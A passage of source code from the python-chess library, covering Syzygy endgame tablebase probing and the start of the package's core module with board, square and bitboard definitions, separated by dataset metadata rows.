self.encode_pawn(self.files[f].norm, p, self.files[f].factor) res = self.decompress_pairs(self.files[f].precomp, idx) if self.flags[f] & 2: if not self.flags[f] & 16: res = self.data[self.p_map + self.map_idx[f][WDL_TO_MAP[wdl + 2]] + res] else: res = self.read_uint16(self.p_map + 2 * (self.map_idx[f][WDL_TO_MAP[wdl + 2]] + res)) if (not (self.flags[f] & PA_FLAGS[wdl + 2])) or (wdl & 1): res *= 2 return res, 1 def setup_pieces_piece_dtz(self, p_data: int, p_tb_size: int) -> None: assert self.data self.pieces = [self.data[p_data + i + 1] & 0x0f for i in range(self.num)] order = self.data[p_data] & 0x0f self.set_norm_piece(self.norm, self.pieces) self.tb_size[p_tb_size] = self.calc_factors_piece(self.factor, order, self.norm) def setup_pieces_pawn_dtz(self, p_data: int, p_tb_size: int, f: int) -> None: assert self.data j = 1 + int(self.pawns[1] > 0) order = self.data[p_data] & 0x0f order2 = self.data[p_data + 1] & 0x0f if self.pawns[1] else 0x0f self.files[f].pieces = [self.data[p_data + i + j] & 0x0f for i in range(self.num)] self.files[f].norm = [0 for _ in range(self.num)] self.set_norm_pawn(self.files[f].norm, self.files[f].pieces) self.files[f].factor = [0 for _ in range(TBPIECES)] self.tb_size[p_tb_size] = self.calc_factors_pawn(self.files[f].factor, order, order2, self.files[f].norm, f) class Tablebase: """ Manages a collection of tablebase files for probing. """ def __init__(self, *, max_fds: Optional[int] = 128, VariantBoard: Type[chess.Board] = chess.Board) -> None: self.variant = VariantBoard self.max_fds = max_fds self.lru: Deque[Table] = collections.deque() self.lru_lock = threading.Lock() self.wdl: Dict[str, Table] = {} self.dtz: Dict[str, Table] = {} def _bump_lru(self, table: Table) -> None: if self.max_fds is None: return with self.lru_lock: try: self.lru.remove(table) self.lru.appendleft(table) except ValueError: self.lru.appendleft(table) if len(self.lru) > self.max_fds: self.lru.pop().close() def _open_table(self, hashtable: Dict[str, Table], Table: Type[Table], path: str) -> int: table = Table(path, variant=self.variant) if table.key in hashtable: hashtable[table.key].close() hashtable[table.key] = table hashtable[table.mirrored_key] = table return 1 def add_directory(self, directory: str, *, load_wdl: bool = True, load_dtz: bool = True) -> int: """ Adds tables from a directory. By default, all available tables with the correct file names (e.g., WDL files like ``KQvKN.rtbw`` and DTZ files like ``KRBvK.rtbz``) are added. The relevant files are lazily opened when the tablebase is actually probed. Returns the number of table files that were found. """ directory = os.path.abspath(directory) return sum(self.add_file(os.path.join(directory, filename), load_wdl=load_wdl, load_dtz=load_dtz) for filename in os.listdir(directory)) def add_file(self, path: str, *, load_wdl: bool = True, load_dtz: bool = True) -> int: tablename, ext = os.path.splitext(os.path.basename(path)) if is_tablename(tablename, one_king=self.variant.one_king) and os.path.isfile(path): if load_wdl: if ext == self.variant.tbw_suffix: return self._open_table(self.wdl, WdlTable, path) elif "P" not in tablename and ext == self.variant.pawnless_tbw_suffix: return self._open_table(self.wdl, WdlTable, path) if load_dtz: if ext == self.variant.tbz_suffix: return self._open_table(self.dtz, DtzTable, path) elif "P" not in tablename and ext == self.variant.pawnless_tbz_suffix: return self._open_table(self.dtz, DtzTable, path) return 0 def probe_wdl_table(self, board: chess.Board) -> int: # Test for variant end. if board.is_variant_win(): return 2 elif board.is_variant_draw(): return 0 elif board.is_variant_loss(): return -2 # Test for KvK. if self.variant.one_king and board.kings == board.occupied: return 0 key = calc_key(board) try: table = typing.cast(WdlTable, self.wdl[key]) except KeyError: if chess.popcount(board.occupied) > TBPIECES: raise KeyError(f"syzygy tables support up to {TBPIECES} pieces, not {chess.popcount(board.occupied)}: {board.fen()}") raise MissingTableError(f"did not find wdl table {key}") self._bump_lru(table) return table.probe_wdl_table(board) def probe_ab(self, board: chess.Board, alpha: int, beta: int, threats: bool = False) -> Tuple[int, int]: # Check preconditions. if board.uci_variant != self.variant.uci_variant: raise KeyError(f"tablebase has been opened for {self.variant.uci_variant}, probed with: {board.uci_variant}") if board.castling_rights: raise KeyError(f"syzygy tables do not contain positions with castling rights: {board.fen()}") # Probing resolves captures, so sometimes we can obtain results for # positions that have more pieces than the maximum number of supported # pieces. We artificially limit this to one additional level, to # make sure search remains somewhat bounded. if chess.popcount(board.occupied) > TBPIECES + 1: raise KeyError(f"syzygy tables support up to {TBPIECES} pieces, not {chess.popcount(board.occupied)}: {board.fen()}") # Special case: Variant with compulsory captures. if self.variant.captures_compulsory: if board.is_variant_win(): return 2, 2 elif board.is_variant_loss(): return -2, 2 elif board.is_variant_draw(): return 0, 2 return self.sprobe_ab(board, alpha, beta, threats) # Generate non-ep captures. for move in board.generate_legal_moves(to_mask=board.occupied_co[not board.turn]): board.push(move) try: v_plus, _ = self.probe_ab(board, -beta, -alpha) v = -v_plus finally: board.pop() if v > alpha: if v >= beta: return v, 2 alpha = v v = self.probe_wdl_table(board) if alpha >= v: return alpha, 1 + int(alpha > 0) else: return v, 1 def sprobe_ab(self, board: chess.Board, alpha: int, beta: int, threats: bool = False) -> Tuple[int, int]: if chess.popcount(board.occupied_co[not board.turn]) > 1: v, captures_found = self.sprobe_capts(board, alpha, beta) if captures_found: return v, 2 else: if any(board.generate_legal_captures()): return -2, 2 threats_found = False if threats or chess.popcount(board.occupied) >= 6: for threat in board.generate_legal_moves(~board.pawns): board.push(threat) try: v_plus, captures_found = self.sprobe_capts(board, -beta, -alpha) v = -v_plus finally: board.pop() if captures_found and v > alpha: threats_found = True alpha = v if alpha >= beta: return v, 3 v = self.probe_wdl_table(board) if v > alpha: return v, 1 else: return alpha, 3 if threats_found else 1 def sprobe_capts(self, board: chess.Board, alpha: int, beta: int) -> Tuple[int, int]: captures_found = False for move in board.generate_legal_captures(): captures_found = True board.push(move) try: v_plus, _ = self.sprobe_ab(board, -beta, -alpha) v = -v_plus finally: board.pop() alpha = max(v, alpha) if alpha >= beta: break return alpha, captures_found def probe_wdl(self, board: chess.Board) -> int: """ Probes WDL tables for win/draw/loss information under the 50-move rule, assuming the position has been reached directly after a capture or pawn move. Probing is thread-safe when done with different *board* objects and if *board* objects are not modified during probing. Returns ``2`` if the side to move is winning, ``0`` if the position is a draw and ``-2`` if the side to move is losing. Returns ``1`` in case of a cursed win and ``-1`` in case of a blessed loss. Mate can be forced but the position can be drawn due to the fifty-move rule. >>> import chess >>> import chess.syzygy >>> >>> with chess.syzygy.open_tablebase("data/syzygy/regular") as tablebase: ... board = chess.Board("8/2K5/4B3/3N4/8/8/4k3/8 b - - 0 1") ... print(tablebase.probe_wdl(board)) ... -2 :raises: :exc:`KeyError` (or specifically :exc:`chess.syzygy.MissingTableError`) if the position could not be found in the tablebase. Use :func:`~chess.syzygy.Tablebase.get_wdl()` if you prefer to get ``None`` instead of an exception. Note that probing corrupted table files is undefined behavior. """ # Probe. v, _ = self.probe_ab(board, -2, 2) # If en passant is not possible, we are done. if not board.ep_square or self.variant.captures_compulsory: return v # Now handle en passant. v1 = -3 # Look at all legal en passant captures. for move in board.generate_legal_ep(): board.push(move) try: v0_plus, _ = self.probe_ab(board, -2, 2) v0 = -v0_plus finally: board.pop() if v0 > v1: v1 = v0 if v1 > -3: if v1 >= v: v = v1 elif v == 0: # If there is not at least one legal non-en-passant move we are # forced to play the losing en passant cature. if all(board.is_en_passant(move) for move in board.generate_legal_moves()): v = v1 return v def get_wdl(self, board: chess.Board, default: Optional[int] = None) -> Optional[int]: try: return self.probe_wdl(board) except KeyError: return default def probe_dtz_table(self, board: chess.Board, wdl: int) -> Tuple[int, int]: key = calc_key(board) try: table = typing.cast(DtzTable, self.dtz[key]) except KeyError: raise MissingTableError(f"did not find dtz table {key}") self._bump_lru(table) return table.probe_dtz_table(board, wdl) def probe_dtz_no_ep(self, board: chess.Board) -> int: wdl, success = self.probe_ab(board, -2, 2, threats=True) if wdl == 0: return 0 if success == 2 or not board.occupied_co[board.turn] & ~board.pawns: return dtz_before_zeroing(wdl) if wdl > 0: # The position is a win or a cursed win by a threat move. if success == 3: return 2 if wdl == 2 else 102 # Generate all legal non-capturing pawn moves. for move in board.generate_legal_moves(board.pawns, ~board.occupied): if board.is_capture(move): # En passant. continue board.push(move) try: v = -self.probe_wdl(board) finally: board.pop() if v == wdl: return 1 if v == 2 else 101 dtz, success = self.probe_dtz_table(board, wdl) if success >= 0: return dtz_before_zeroing(wdl) + (dtz if wdl > 0 else -dtz) if wdl > 0: best = 0xffff for move in board.generate_legal_moves(~board.pawns, ~board.occupied): board.push(move) try: v = -self.probe_dtz(board) if v == 1 and board.is_checkmate(): best = 1 elif v > 0 and v + 1 < best: best = v + 1 finally: board.pop() return best else: best = -1 for move in board.generate_legal_moves(): board.push(move) try: if board.halfmove_clock == 0: if wdl == -2: v = -1 else: v, success = self.probe_ab(board, 1, 2, threats=True) v = 0 if v == 2 else -101 else: v = -self.probe_dtz(board) - 1 finally: board.pop() if v < best: best = v return best def probe_dtz(self, board: chess.Board) -> int: """ Probes DTZ tables for `DTZ50'' information with rounding <https://syzygy-tables.info/metrics#dtz>`_. Minmaxing the DTZ50'' values guarantees winning a won position (and drawing a drawn position), because it makes progress keeping the win in hand. However, the lines are not always the most straightforward ways to win. Engines like Stockfish calculate themselves, checking with DTZ, but only play according to DTZ if they can not manage on their own. Returns a positive value if the side to move is winning, ``0`` if the position is a draw, and a negative value if the side to move is losing. More precisely: +-----+------------------+--------------------------------------------+ | WDL | DTZ | | +=====+==================+============================================+ | -2 | -100 <= n <= -1 | Unconditional loss (assuming 50-move | | | | counter is zero), where a zeroing move can | | | | be forced in -n plies. | +-----+------------------+--------------------------------------------+ | -1 | n < -100 | Loss, but draw under the 50-move rule. | | | | A zeroing move can be forced in -n plies | | | | or -n - 100 plies (if a later phase is | | | | responsible for the blessed loss). | +-----+------------------+--------------------------------------------+ | 0 | 0 | Draw. | +-----+------------------+--------------------------------------------+ | 1 | 100 < n | Win, but draw under the 50-move rule. | | | | A zeroing move can be forced in n plies or | | | | n - 100 plies (if a later phase is | | | | responsible for the cursed win). | +-----+------------------+--------------------------------------------+ | 2 | 1 <= n <= 100 | Unconditional win (assuming 50-move | | | | counter is zero), where a zeroing move can | | | | be forced in n plies. | +-----+------------------+--------------------------------------------+ The return value can be off by one: a return value -n can mean a losing zeroing move in in n + 1 plies and a return value +n can mean a winning zeroing move in n + 1 plies. This implies some primary tablebase lines may waste up to 1 ply. Rounding is never used for endgame phases where it would change the game theoretical outcome. This means users need to be careful in positions that are nearly drawn under the 50-move rule! Carelessly wasting 1 more ply by not following the tablebase recommendation, for a total of 2 wasted plies, may change the outcome of the game. >>> import chess >>> import chess.syzygy >>> >>> with chess.syzygy.open_tablebase("data/syzygy/regular") as tablebase: ... board = chess.Board("8/2K5/4B3/3N4/8/8/4k3/8 b - - 0 1") ... print(tablebase.probe_dtz(board)) ... -53 Probing is thread-safe when done with different *board* objects and if *board* objects are not modified during probing. Both DTZ and WDL tables are required in order to probe for DTZ. :raises: :exc:`KeyError` (or specifically :exc:`chess.syzygy.MissingTableError`) if the position could not be found in the tablebase. Use :func:`~chess.syzygy.Tablebase.get_dtz()` if you prefer to get ``None`` instead of an exception. Note that probing corrupted table files is undefined behavior. """ v = self.probe_dtz_no_ep(board) if not board.ep_square or self.variant.captures_compulsory: return v v1 = -3 # Generate all en passant moves. for move in board.generate_legal_ep(): board.push(move) try: v0_plus, _ = self.probe_ab(board, -2, 2) v0 = -v0_plus finally: board.pop() if v0 > v1: v1 = v0 if v1 > -3: v1 = WDL_TO_DTZ[v1 + 2] if v < -100: if v1 >= 0: v = v1 elif v < 0: if v1 >= 0 or v1 < -100: v = v1 elif v > 100: if v1 > 0: v = v1 elif v > 0: if v1 == 1: v = v1 elif v1 >= 0: v = v1 else: if all(board.is_en_passant(move) for move in board.generate_legal_moves()): v = v1 return v def get_dtz(self, board: chess.Board, default: Optional[int] = None) -> Optional[int]: try: return self.probe_dtz(board) except KeyError: return default def close(self) -> None: """Closes all loaded tables.""" while self.wdl: _, wdl = self.wdl.popitem() wdl.close() while self.dtz: _, dtz = self.dtz.popitem() dtz.close() self.lru.clear() def __enter__(self) -> Tablebase: return self def __exit__(self, exc_type: Optional[Type[BaseException]], exc_value: Optional[BaseException], traceback: Optional[TracebackType]) -> None: self.close() def open_tablebase(directory: str, *, load_wdl: bool = True, load_dtz: bool = True, max_fds: Optional[int] = 128, VariantBoard: Type[chess.Board] = chess.Board) -> Tablebase: """ Opens a collection of tables for probing. See :class:`~chess.syzygy.Tablebase`. .. note:: Generally probing requires tablebase files for the specific material composition, **as well as** material compositions transitively reachable by captures and promotions. This is important because 6-piece and 5-piece (let alone 7-piece) files are often distributed separately, but are both required for 6-piece positions. Use :func:`~chess.syzygy.Tablebase.add_directory()` to load tables from additional directories. :param max_fds: If *max_fds* is not ``None``, will at most use *max_fds* open file descriptors at any given time. The least recently used tables are closed, if necessary. """ tables = Tablebase(max_fds=max_fds, VariantBoard=VariantBoard) tables.add_directory(directory, load_wdl=load_wdl, load_dtz=load_dtz) return tables
69,436
Python
.py
1,620
31.489506
174
0.479908
niklasf/python-chess
2,384
520
22
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,420
__init__.py
niklasf_python-chess/chess/__init__.py
""" A chess library with move generation and validation, Polyglot opening book probing, PGN reading and writing, Gaviota tablebase probing, Syzygy tablebase probing, and XBoard/UCI engine communication. """ from __future__ import annotations __author__ = "Niklas Fiekas" __email__ = "niklas.fiekas@backscattering.de" __version__ = "1.11.0" import collections import copy import dataclasses import enum import math import re import itertools import typing from typing import ClassVar, Callable, Counter, Dict, Generic, Hashable, Iterable, Iterator, List, Literal, Mapping, Optional, SupportsInt, Tuple, Type, TypeVar, Union if typing.TYPE_CHECKING: from typing_extensions import Self, TypeAlias EnPassantSpec = Literal["legal", "fen", "xfen"] Color: TypeAlias = bool WHITE: Color = True BLACK: Color = False COLORS: List[Color] = [WHITE, BLACK] ColorName = Literal["white", "black"] COLOR_NAMES: List[ColorName] = ["black", "white"] PieceType: TypeAlias = int PAWN: PieceType = 1 KNIGHT: PieceType = 2 BISHOP: PieceType = 3 ROOK: PieceType = 4 QUEEN: PieceType = 5 KING: PieceType = 6 PIECE_TYPES: List[PieceType] = [PAWN, KNIGHT, BISHOP, ROOK, QUEEN, KING] PIECE_SYMBOLS = [None, "p", "n", "b", "r", "q", "k"] PIECE_NAMES = [None, "pawn", "knight", "bishop", "rook", "queen", "king"] def piece_symbol(piece_type: PieceType) -> str: return typing.cast(str, PIECE_SYMBOLS[piece_type]) def piece_name(piece_type: PieceType) -> str: return typing.cast(str, PIECE_NAMES[piece_type]) UNICODE_PIECE_SYMBOLS = { "R": "♖", "r": "♜", "N": "♘", "n": "♞", "B": "♗", "b": "♝", "Q": "♕", "q": "♛", "K": "♔", "k": "♚", "P": "♙", "p": "♟", } FILE_NAMES = ["a", "b", "c", "d", "e", "f", "g", "h"] RANK_NAMES = ["1", "2", "3", "4", "5", "6", "7", "8"] STARTING_FEN = "rnbqkbnr/pppppppp/8/8/8/8/PPPPPPPP/RNBQKBNR w KQkq - 0 1" """The FEN for the standard chess starting position.""" STARTING_BOARD_FEN = "rnbqkbnr/pppppppp/8/8/8/8/PPPPPPPP/RNBQKBNR" """The board part of the FEN for the standard chess starting position.""" class Status(enum.IntFlag): VALID = 0 NO_WHITE_KING = 1 << 0 NO_BLACK_KING = 1 << 1 TOO_MANY_KINGS = 1 << 2 TOO_MANY_WHITE_PAWNS = 1 << 3 TOO_MANY_BLACK_PAWNS = 1 << 4 PAWNS_ON_BACKRANK = 1 << 5 TOO_MANY_WHITE_PIECES = 1 << 6 TOO_MANY_BLACK_PIECES = 1 << 7 BAD_CASTLING_RIGHTS = 1 << 8 INVALID_EP_SQUARE = 1 << 9 OPPOSITE_CHECK = 1 << 10 EMPTY = 1 << 11 RACE_CHECK = 1 << 12 RACE_OVER = 1 << 13 RACE_MATERIAL = 1 << 14 TOO_MANY_CHECKERS = 1 << 15 IMPOSSIBLE_CHECK = 1 << 16 STATUS_VALID = Status.VALID STATUS_NO_WHITE_KING = Status.NO_WHITE_KING STATUS_NO_BLACK_KING = Status.NO_BLACK_KING STATUS_TOO_MANY_KINGS = Status.TOO_MANY_KINGS STATUS_TOO_MANY_WHITE_PAWNS = Status.TOO_MANY_WHITE_PAWNS STATUS_TOO_MANY_BLACK_PAWNS = Status.TOO_MANY_BLACK_PAWNS STATUS_PAWNS_ON_BACKRANK = Status.PAWNS_ON_BACKRANK STATUS_TOO_MANY_WHITE_PIECES = Status.TOO_MANY_WHITE_PIECES STATUS_TOO_MANY_BLACK_PIECES = Status.TOO_MANY_BLACK_PIECES STATUS_BAD_CASTLING_RIGHTS = Status.BAD_CASTLING_RIGHTS STATUS_INVALID_EP_SQUARE = Status.INVALID_EP_SQUARE STATUS_OPPOSITE_CHECK = Status.OPPOSITE_CHECK STATUS_EMPTY = Status.EMPTY STATUS_RACE_CHECK = Status.RACE_CHECK STATUS_RACE_OVER = Status.RACE_OVER STATUS_RACE_MATERIAL = Status.RACE_MATERIAL STATUS_TOO_MANY_CHECKERS = Status.TOO_MANY_CHECKERS STATUS_IMPOSSIBLE_CHECK = Status.IMPOSSIBLE_CHECK class Termination(enum.Enum): """Enum with reasons for a game to be over.""" CHECKMATE = enum.auto() """See :func:`chess.Board.is_checkmate()`.""" STALEMATE = enum.auto() """See :func:`chess.Board.is_stalemate()`.""" INSUFFICIENT_MATERIAL = enum.auto() """See :func:`chess.Board.is_insufficient_material()`.""" SEVENTYFIVE_MOVES = enum.auto() """See :func:`chess.Board.is_seventyfive_moves()`.""" FIVEFOLD_REPETITION = enum.auto() """See :func:`chess.Board.is_fivefold_repetition()`.""" FIFTY_MOVES = enum.auto() """See :func:`chess.Board.can_claim_fifty_moves()`.""" THREEFOLD_REPETITION = enum.auto() """See :func:`chess.Board.can_claim_threefold_repetition()`.""" VARIANT_WIN = enum.auto() """See :func:`chess.Board.is_variant_win()`.""" VARIANT_LOSS = enum.auto() """See :func:`chess.Board.is_variant_loss()`.""" VARIANT_DRAW = enum.auto() """See :func:`chess.Board.is_variant_draw()`.""" @dataclasses.dataclass class Outcome: """ Information about the outcome of an ended game, usually obtained from :func:`chess.Board.outcome()`. """ termination: Termination """The reason for the game to have ended.""" winner: Optional[Color] """The winning color or ``None`` if drawn.""" def result(self) -> str: """Returns ``1-0``, ``0-1`` or ``1/2-1/2``.""" return "1/2-1/2" if self.winner is None else ("1-0" if self.winner else "0-1") class InvalidMoveError(ValueError): """Raised when move notation is not syntactically valid""" class IllegalMoveError(ValueError): """Raised when the attempted move is illegal in the current position""" class AmbiguousMoveError(ValueError): """Raised when the attempted move is ambiguous in the current position""" Square: TypeAlias = int A1: Square = 0 B1: Square = 1 C1: Square = 2 D1: Square = 3 E1: Square = 4 F1: Square = 5 G1: Square = 6 H1: Square = 7 A2: Square = 8 B2: Square = 9 C2: Square = 10 D2: Square = 11 E2: Square = 12 F2: Square = 13 G2: Square = 14 H2: Square = 15 A3: Square = 16 B3: Square = 17 C3: Square = 18 D3: Square = 19 E3: Square = 20 F3: Square = 21 G3: Square = 22 H3: Square = 23 A4: Square = 24 B4: Square = 25 C4: Square = 26 D4: Square = 27 E4: Square = 28 F4: Square = 29 G4: Square = 30 H4: Square = 31 A5: Square = 32 B5: Square = 33 C5: Square = 34 D5: Square = 35 E5: Square = 36 F5: Square = 37 G5: Square = 38 H5: Square = 39 A6: Square = 40 B6: Square = 41 C6: Square = 42 D6: Square = 43 E6: Square = 44 F6: Square = 45 G6: Square = 46 H6: Square = 47 A7: Square = 48 B7: Square = 49 C7: Square = 50 D7: Square = 51 E7: Square = 52 F7: Square = 53 G7: Square = 54 H7: Square = 55 A8: Square = 56 B8: Square = 57 C8: Square = 58 D8: Square = 59 E8: Square = 60 F8: Square = 61 G8: Square = 62 H8: Square = 63 SQUARES: List[Square] = list(range(64)) SQUARE_NAMES = [f + r for r in RANK_NAMES for f in FILE_NAMES] def parse_square(name: str) -> Square: """ Gets the square index for the given square *name* (e.g., ``a1`` returns ``0``). :raises: :exc:`ValueError` if the square name is invalid. """ return SQUARE_NAMES.index(name) def square_name(square: Square) -> str: """Gets the name of the square, like ``a3``.""" return SQUARE_NAMES[square] def square(file_index: int, rank_index: int) -> Square: """Gets a square number by file and rank index.""" return rank_index * 8 + file_index def square_file(square: Square) -> int: """Gets the file index of the square where ``0`` is the a-file.""" return square & 7 def square_rank(square: Square) -> int: """Gets the rank index of the square where ``0`` is the first rank.""" return square >> 3 def square_distance(a: Square, b: Square) -> int: """ Gets the Chebyshev distance (i.e., the number of king steps) from square *a* to *b*. """ return max(abs(square_file(a) - square_file(b)), abs(square_rank(a) - square_rank(b))) def square_manhattan_distance(a: Square, b: Square) -> int: """ Gets the Manhattan/Taxicab distance (i.e., the number of orthogonal king steps) from square *a* to *b*. """ return abs(square_file(a) - square_file(b)) + abs(square_rank(a) - square_rank(b)) def square_knight_distance(a: Square, b: Square) -> int: """ Gets the Knight distance (i.e., the number of knight moves) from square *a* to *b*. """ dx = abs(square_file(a) - square_file(b)) dy = abs(square_rank(a) - square_rank(b)) if dx + dy == 1: return 3 elif dx == dy == 2: return 4 elif dx == dy == 1: if BB_SQUARES[a] & BB_CORNERS or BB_SQUARES[b] & BB_CORNERS: # Special case only for corner squares return 4 m = math.ceil(max(dx / 2, dy / 2, (dx + dy) / 3)) return m + ((m + dx + dy) % 2) def square_mirror(square: Square) -> Square: """Mirrors the square vertically.""" return square ^ 0x38 SQUARES_180: List[Square] = [square_mirror(sq) for sq in SQUARES] Bitboard: TypeAlias = int BB_EMPTY: Bitboard = 0 BB_ALL: Bitboard = 0xffff_ffff_ffff_ffff BB_A1: Bitboard = 1 << A1 BB_B1: Bitboard = 1 << B1 BB_C1: Bitboard = 1 << C1 BB_D1: Bitboard = 1 << D1 BB_E1: Bitboard = 1 << E1 BB_F1: Bitboard = 1 << F1 BB_G1: Bitboard = 1 << G1 BB_H1: Bitboard = 1 << H1 BB_A2: Bitboard = 1 << A2 BB_B2: Bitboard = 1 << B2 BB_C2: Bitboard = 1 << C2 BB_D2: Bitboard = 1 << D2 BB_E2: Bitboard = 1 << E2 BB_F2: Bitboard = 1 << F2 BB_G2: Bitboard = 1 << G2 BB_H2: Bitboard = 1 << H2 BB_A3: Bitboard = 1 << A3 BB_B3: Bitboard = 1 << B3 BB_C3: Bitboard = 1 << C3 BB_D3: Bitboard = 1 << D3 BB_E3: Bitboard = 1 << E3 BB_F3: Bitboard = 1 << F3 BB_G3: Bitboard = 1 << G3 BB_H3: Bitboard = 1 << H3 BB_A4: Bitboard = 1 << A4 BB_B4: Bitboard = 1 << B4 BB_C4: Bitboard = 1 << C4 BB_D4: Bitboard = 1 << D4 BB_E4: Bitboard = 1 << E4 BB_F4: Bitboard = 1 << F4 BB_G4: Bitboard = 1 << G4 BB_H4: Bitboard = 1 << H4 BB_A5: Bitboard = 1 << A5 BB_B5: Bitboard = 1 << B5 BB_C5: Bitboard = 1 << C5 BB_D5: Bitboard = 1 << D5 BB_E5: Bitboard = 1 << E5 BB_F5: Bitboard = 1 << F5 BB_G5: Bitboard = 1 << G5 BB_H5: Bitboard = 1 << H5 BB_A6: Bitboard = 1 << A6 BB_B6: Bitboard = 1 << B6 BB_C6: Bitboard = 1 << C6 BB_D6: Bitboard = 1 << D6 BB_E6: Bitboard = 1 << E6 BB_F6: Bitboard = 1 << F6 BB_G6: Bitboard = 1 << G6 BB_H6: Bitboard = 1 << H6 BB_A7: Bitboard = 1 << A7 BB_B7: Bitboard = 1 << B7 BB_C7: Bitboard = 1 << C7 BB_D7: Bitboard = 1 << D7 BB_E7: Bitboard = 1 << E7 BB_F7: Bitboard = 1 << F7 BB_G7: Bitboard = 1 << G7 BB_H7: Bitboard = 1 << H7 BB_A8: Bitboard = 1 << A8 BB_B8: Bitboard = 1 << B8 BB_C8: Bitboard = 1 << C8 BB_D8: Bitboard = 1 << D8 BB_E8: Bitboard = 1 << E8 BB_F8: Bitboard = 1 << F8 BB_G8: Bitboard = 1 << G8 BB_H8: Bitboard = 1 << H8 BB_SQUARES: List[Bitboard] = [1 << sq for sq in SQUARES] BB_CORNERS: Bitboard = BB_A1 | BB_H1 | BB_A8 | BB_H8 BB_CENTER: Bitboard = BB_D4 | BB_E4 | BB_D5 | BB_E5 BB_LIGHT_SQUARES: Bitboard = 0x55aa_55aa_55aa_55aa BB_DARK_SQUARES: Bitboard = 0xaa55_aa55_aa55_aa55 BB_FILE_A: Bitboard = 0x0101_0101_0101_0101 << 0 BB_FILE_B: Bitboard = 0x0101_0101_0101_0101 << 1 BB_FILE_C: Bitboard = 0x0101_0101_0101_0101 << 2 BB_FILE_D: Bitboard = 0x0101_0101_0101_0101 << 3 BB_FILE_E: Bitboard = 0x0101_0101_0101_0101 << 4 BB_FILE_F: Bitboard = 0x0101_0101_0101_0101 << 5 BB_FILE_G: Bitboard = 0x0101_0101_0101_0101 << 6 BB_FILE_H: Bitboard = 0x0101_0101_0101_0101 << 7 BB_FILES: List[Bitboard] = [BB_FILE_A, BB_FILE_B, BB_FILE_C, BB_FILE_D, BB_FILE_E, BB_FILE_F, BB_FILE_G, BB_FILE_H] BB_RANK_1: Bitboard = 0xff << (8 * 0) BB_RANK_2: Bitboard = 0xff << (8 * 1) BB_RANK_3: Bitboard = 0xff << (8 * 2) BB_RANK_4: Bitboard = 0xff << (8 * 3) BB_RANK_5: Bitboard = 0xff << (8 * 4) BB_RANK_6: Bitboard = 0xff << (8 * 5) BB_RANK_7: Bitboard = 0xff << (8 * 6) BB_RANK_8: Bitboard = 0xff << (8 * 7) BB_RANKS: List[Bitboard] = [BB_RANK_1, BB_RANK_2, BB_RANK_3, BB_RANK_4, BB_RANK_5, BB_RANK_6, BB_RANK_7, BB_RANK_8] BB_BACKRANKS: Bitboard = BB_RANK_1 | BB_RANK_8 def lsb(bb: Bitboard) -> int: return (bb & -bb).bit_length() - 1 def scan_forward(bb: Bitboard) -> Iterator[Square]: while bb: r = bb & -bb yield r.bit_length() - 1 bb ^= r def msb(bb: Bitboard) -> int: return bb.bit_length() - 1 def scan_reversed(bb: Bitboard) -> Iterator[Square]: while bb: r = bb.bit_length() - 1 yield r bb ^= BB_SQUARES[r] # Python 3.10 or fallback. popcount: Callable[[Bitboard], int] = getattr(int, "bit_count", lambda bb: bin(bb).count("1")) def flip_vertical(bb: Bitboard) -> Bitboard: # https://www.chessprogramming.org/Flipping_Mirroring_and_Rotating#FlipVertically bb = ((bb >> 8) & 0x00ff_00ff_00ff_00ff) | ((bb & 0x00ff_00ff_00ff_00ff) << 8) bb = ((bb >> 16) & 0x0000_ffff_0000_ffff) | ((bb & 0x0000_ffff_0000_ffff) << 16) bb = (bb >> 32) | ((bb & 0x0000_0000_ffff_ffff) << 32) return bb def flip_horizontal(bb: Bitboard) -> Bitboard: # https://www.chessprogramming.org/Flipping_Mirroring_and_Rotating#MirrorHorizontally bb = ((bb >> 1) & 0x5555_5555_5555_5555) | ((bb & 0x5555_5555_5555_5555) << 1) bb = ((bb >> 2) & 0x3333_3333_3333_3333) | ((bb & 0x3333_3333_3333_3333) << 2) bb = ((bb >> 4) & 0x0f0f_0f0f_0f0f_0f0f) | ((bb & 0x0f0f_0f0f_0f0f_0f0f) << 4) return bb def flip_diagonal(bb: Bitboard) -> Bitboard: # https://www.chessprogramming.org/Flipping_Mirroring_and_Rotating#FlipabouttheDiagonal t = (bb ^ (bb << 28)) & 0x0f0f_0f0f_0000_0000 bb = bb ^ t ^ (t >> 28) t = (bb ^ (bb << 14)) & 0x3333_0000_3333_0000 bb = bb ^ t ^ (t >> 14) t = (bb ^ (bb << 7)) & 0x5500_5500_5500_5500 bb = bb ^ t ^ (t >> 7) return bb def flip_anti_diagonal(bb: Bitboard) -> Bitboard: # https://www.chessprogramming.org/Flipping_Mirroring_and_Rotating#FlipabouttheAntidiagonal t = bb ^ (bb << 36) bb = bb ^ ((t ^ (bb >> 36)) & 0xf0f0_f0f0_0f0f_0f0f) t = (bb ^ (bb << 18)) & 0xcccc_0000_cccc_0000 bb = bb ^ t ^ (t >> 18) t = (bb ^ (bb << 9)) & 0xaa00_aa00_aa00_aa00 bb = bb ^ t ^ (t >> 9) return bb def shift_down(b: Bitboard) -> Bitboard: return b >> 8 def shift_2_down(b: Bitboard) -> Bitboard: return b >> 16 def shift_up(b: Bitboard) -> Bitboard: return (b << 8) & BB_ALL def shift_2_up(b: Bitboard) -> Bitboard: return (b << 16) & BB_ALL def shift_right(b: Bitboard) -> Bitboard: return (b << 1) & ~BB_FILE_A & BB_ALL def shift_2_right(b: Bitboard) -> Bitboard: return (b << 2) & ~BB_FILE_A & ~BB_FILE_B & BB_ALL def shift_left(b: Bitboard) -> Bitboard: return (b >> 1) & ~BB_FILE_H def shift_2_left(b: Bitboard) -> Bitboard: return (b >> 2) & ~BB_FILE_G & ~BB_FILE_H def shift_up_left(b: Bitboard) -> Bitboard: return (b << 7) & ~BB_FILE_H & BB_ALL def shift_up_right(b: Bitboard) -> Bitboard: return (b << 9) & ~BB_FILE_A & BB_ALL def shift_down_left(b: Bitboard) -> Bitboard: return (b >> 9) & ~BB_FILE_H def shift_down_right(b: Bitboard) -> Bitboard: return (b >> 7) & ~BB_FILE_A def _sliding_attacks(square: Square, occupied: Bitboard, deltas: Iterable[int]) -> Bitboard: attacks = BB_EMPTY for delta in deltas: sq = square while True: sq += delta if not (0 <= sq < 64) or square_distance(sq, sq - delta) > 2: break attacks |= BB_SQUARES[sq] if occupied & BB_SQUARES[sq]: break return attacks def _step_attacks(square: Square, deltas: Iterable[int]) -> Bitboard: return _sliding_attacks(square, BB_ALL, deltas) BB_KNIGHT_ATTACKS: List[Bitboard] = [_step_attacks(sq, [17, 15, 10, 6, -17, -15, -10, -6]) for sq in SQUARES] 